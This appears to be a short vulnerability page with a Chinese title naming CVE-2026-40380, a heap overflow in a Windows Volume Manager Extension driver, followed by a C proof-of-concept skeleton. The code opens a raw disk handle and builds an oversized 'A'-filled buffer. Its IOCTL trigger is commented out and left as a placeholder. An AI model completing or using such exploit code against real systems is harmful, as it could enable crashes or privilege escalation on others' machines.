CVE-2026-40380 卷管理扩展驱动堆缓冲区溢出漏洞

/* * PoC for CVE-2026-40380 * Conceptual demonstration of triggering the heap overflow in Volume Manager Extension Driver. * Requires Admin privileges and physical access. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; // Generic device path for demonstration LPCSTR devicePath = "\\\\.\\PhysicalDrive0"; // Attempt to open handle to the volume manager driver hDevice = CreateFileA(devicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Device handle opened.\n"); // Allocate a buffer larger than the expected size to trigger overflow // Assuming the driver expects a small struct but copies a fixed large size DWORD exploitSize = 0x2000; BYTE* exploitBuffer = (BYTE*)malloc(exploitSize); memset(exploitBuffer, 0x41, exploitSize); // Fill with 'A' pattern printf("[*] Sending malicious buffer of size %d...\n", exploitSize); // Send IOCTL (Code would need to be reverse engineered from the specific driver) // DWORD ioctlCode = 0xXXXXXXXX; // DeviceIoControl(hDevice, ioctlCode, exploitBuffer, exploitSize, NULL, 0, &bytesReturned, NULL); printf("[*] Exploit trigger sent (IOCTL call commented out for safety).\n"); free(exploitBuffer); CloseHandle(hDevice); return 0; }